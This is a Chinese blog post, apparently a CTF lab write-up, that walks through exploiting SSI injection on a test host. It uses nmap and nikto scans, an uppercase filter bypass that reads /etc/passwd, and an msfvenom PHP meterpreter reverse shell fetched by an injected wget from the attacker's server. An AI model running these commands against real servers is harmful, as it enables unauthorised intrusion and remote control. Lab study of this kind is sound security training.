【CTF】SSI注入实战

kali:192.168.223.131
target:192.168.223.170

通过arp-scan -l获取目标IP为192.168.223.170,nmap扫描一下,发现只开启了80端口

nmap -p- -A 192.168.223.170

image

是一个模拟的黑客网站,使用nikto扫描

nikto -h http://192.168.223.170

image

扫描到spukcab的目录,进入后发现里面有index.bak和oldconfig.bak的备份文件,下载下来

image

通过网页源码发现是POST提交,抓个包,都没有什么特别的东西,但是发现是shtml,可能存在SSI注入漏洞

image

在提交的两个位置注入一句话

<!--#exec cmd="cat /etc/passwd" -->

image

exec反馈回来了,说明存在过滤,改成大写

<!--#EXEC cmd="cat /etc/passwd" -->

image

正确执行并将系统passwd反馈回来,说明存在SSI漏洞

image

之后生成木马,设置下载服务器,开启监听,目标上线一气呵成,拿到服务器权限

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -f raw > shell.php
python -m SimpleHTTPServer 8000

msfconsole 
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.223.131
exploit

wget http://192.168.223.131/shell.php

<!--#EXEC cmd="wget http://192.168.223.131:8000/shell.php" -->
http://192.168.223.170/shell.php

image

SSI

SSI 注入全称Server-Side Includes Injection,即服务端包含注入,允许远程在 Web 应用中注入脚本来执行代码

一般在shtml、stm、shtm或者一些存在XSS漏洞的页面都可能存在SSI

<!--#echo var="DATA_LOCAL/REMOTE_ADDR" -->   //需要大写,类似都行
<!--#include file/virtual="/wwwroot/xxx.html" -->   //将内容加入文档
<!--#exec cmd="/wwwroot/xxx.html" -->      //后面跟命令
posted @ 2022-04-09 23:37  icui4cu  阅读(140)  评论(0)    收藏  举报